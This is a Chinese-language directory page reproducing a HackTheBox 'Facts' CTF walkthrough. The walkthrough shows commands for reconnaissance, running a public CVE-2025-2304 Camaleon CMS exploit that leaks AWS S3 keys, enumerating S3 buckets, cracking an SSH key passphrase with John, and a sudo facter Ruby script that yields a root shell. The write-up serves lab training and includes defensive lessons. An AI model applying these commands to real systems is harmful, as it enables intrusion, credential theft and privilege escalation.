Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
htb-facts — HackTheBox — Facts (简单/Linux) | CVE-2025-2304 + AWS S3 + SSH 密钥 + Facter 权限提升 | Kitploit
工具/GitHubGitHub/mattiapertusati/htb-facts
密码破解权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试云安全学习与教育
GitHubmattiapertusati/htb-facts

htb-facts

HackTheBox — Facts (简单/Linux) | CVE-2025-2304 + AWS S3 + SSH 密钥 + Facter 权限提升

4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

HTB — Facts (简单/Linux) - 第10季

HTB Difficulty OS Status Techniques Techniques PrivEsc

总结

Facts 是一台简单的 Linux 机器,需要利用 Camaleon CMS 中的一个已知漏洞 (CVE-2025-2304) 来提取本地 AWS S3 凭据。枚举内部的 S3 存储桶会发现一个 SSH 私钥,必须使用 John the Ripper 破解该私钥才能获得初始访问权限。通过利用 /usr/bin/facter 上的 sudo 配置错误,允许执行自定义 Ruby 代码以获取 root shell,从而实现权限提升。

攻击链: Nmap → Camaleon CMS (CVE-2025-2304) → S3 存储桶枚举 → SSH 密钥破解 → sudo facter → Root


侦察

端口扫描

首先运行 Nmap 扫描以识别目标机器上的活动服务。

root@kitploit:~
nmap -sV -sC -oN nmap_facts 10.129.244.96

结果:

Nmap 扫描

Nmap 显示两个开放端口:22 (SSH) 和 80 (HTTP)。Web 服务器基于 Nginx。在与网站正常交互之前,我们应该将主机 facts.htb 添加到 /etc/hosts 文件中。

root@kitploit:~
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts

Web 枚举

访问 80 端口上的站点时,我们会看到一个标准网页。为了发现隐藏路径,我们启动目录暴力破解攻击(例如,使用 ffuf 或 gobuster)。

root@kitploit:~
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ

枚举揭示了几个与管理面板相关的有趣目录(/admin、/admin.php 等),所有这些目录都以 302 状态重定向到 http://facts.htb/admin/login.

枚举

通过访问登录页面并进行身份验证(或查看面板的页脚),我们发现网站背后的技术:Camaleon CMS。

右下角有一个关键细节引起了我们的注意:CMS 版本是 2.9.0。

管理面板


漏洞利用

Camaleon CMS (CVE-2025-2304)

知道服务器运行的是 Camaleon CMS 2.9.0,快速在线搜索我们发现了一个关键漏洞 CVE-2025-2304,该漏洞允许从已认证用户提升权限至管理员。

我们在 GitHub 上找到了一个公开的漏洞利用程序(由 Alien0ne 创建),并将其下载到攻击者机器上。

GitHub 漏洞利用

我们通过传递手中的凭据(例如 mattia:mattia)来启动漏洞利用,从而提升到管理员权限、提取敏感信息,然后恢复到原始角色以不留明显痕迹。

root@kitploit:~
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r

漏洞利用的输出信息量很大:它成功提取了 本地 AWS S3 凭据 和服务器使用的 内部端点。

  • S3 访问密钥:AKIAA103ACAA5953D888

  • S3 秘密密钥:ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR

  • S3 端点:http://localhost:54321(对我们来说变为 http://facts.htb:54321)

漏洞利用


S3 存储桶枚举

有了这些密钥,我们可以配置本地 AWS CLI 与机器暴露的 S3 服务进行交互。

root@kitploit:~
aws configure
# 输入我们刚刚找到的访问密钥和秘密密钥
# 默认区域:us
# 默认输出格式:json

现在我们可以通过传递自定义端点 URL 来列出可用的存储桶:

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls

我们找到了两个存储桶:internal 和 randomfacts。通过递归探索 internal 存储桶,我们发现了一个包含密钥的 .ssh 文件夹!

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive

我们将 id_ed25519 文件(SSH 私钥)下载到机器上。


SSH 密钥破解

我们有了私钥,但它受密码短语保护。为了破解它,我们将使用 John the Ripper 套件。首先,我们使用 ssh2john 将密钥转换为 John 可以读取的格式:

root@kitploit:~
ssh2john id_ed25519 > hash.txt

接下来,启动字典攻击(使用自定义词表 my_guess.txt 或经典的 rockyou.txt):

root@kitploit:~
john --wordlist=my_guess.txt hash.txt

密码成功破解:dragonballz。现在我们拥有访问服务器所需的一切!

漏洞利用


权限提升

现在我们拥有所需的一切,可以利用之前找到的第二个开放端口:SSH 端口(22)。

root@kitploit:~
ssh -i id_ed25519 [email protected]

我们将使用之前找到的密码:dragonballz。我们成功登录了!

现在我们需要找出可以用于获取 root 访问权限的路径,因此我们使用 sudo -l。

路径:

/usr/bin/facter

为了利用此路径,我们使用一个小型脚本:

root@kitploit:~
echo 'Facter.add(:pwn) do
  setcode do
    exec (“/bin/bash -p”)
  end
end' > /tmp/pwn.rb

然后运行它:

root@kitploit:~
sudo /usr/bin/facter --custom-dir=/tmp pwn

SSH

我们正式成为 root!!!

现在只需要找到手头的两个标志 :)

FLAG


经验教训

攻击角度

  • CMS 版本在页脚/标头中泄露,立即暴露了攻击面
  • 特定版本的 CVE 研究始终是指纹识别后的第一步
  • 内部服务(如 S3)可能暴露本不应公开的敏感数据
  • 云存储中的 SSH 私钥是真实环境中常见的关键配置错误

防御角度

  • 切勿在应用程序代码或可访问的存储中暴露 AWS 凭据
  • 限制 S3 存储桶权限——内部存储桶绝不应可公开枚举
  • 定期审计 sudo 权限——facter 配合 NOPASSWD 是通往 root 的直接路径
  • 保持 CMS 软件更新——CVE-2025-2304 已有可用补丁

攻击链总结

NMAP — 发现 2 个端口(22、80) ↓ Web 枚举 — 找到管理区域 ↓ Camaleon CMS -> CVE-2025-2304 ↓ 漏洞利用 + AWS 设置 ↓ John the ripper 破解哈希 ↓ SSH 登录 ↓ Sudo -l ↓ 脚本 + 执行 ↓ ROOT ✅


参考

  • CVE-2025-2304
  • Camaleon CMS
  • GTFOBins — facter
  • HackTheBox — Facts
下载工具
端口状态服务版本
22/tcpopensshOpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcpopenhttpnginx 1.26.3 (Ubuntu)
_http-title: facts
_http-server-header: nginx/1.26.3 (Ubuntu)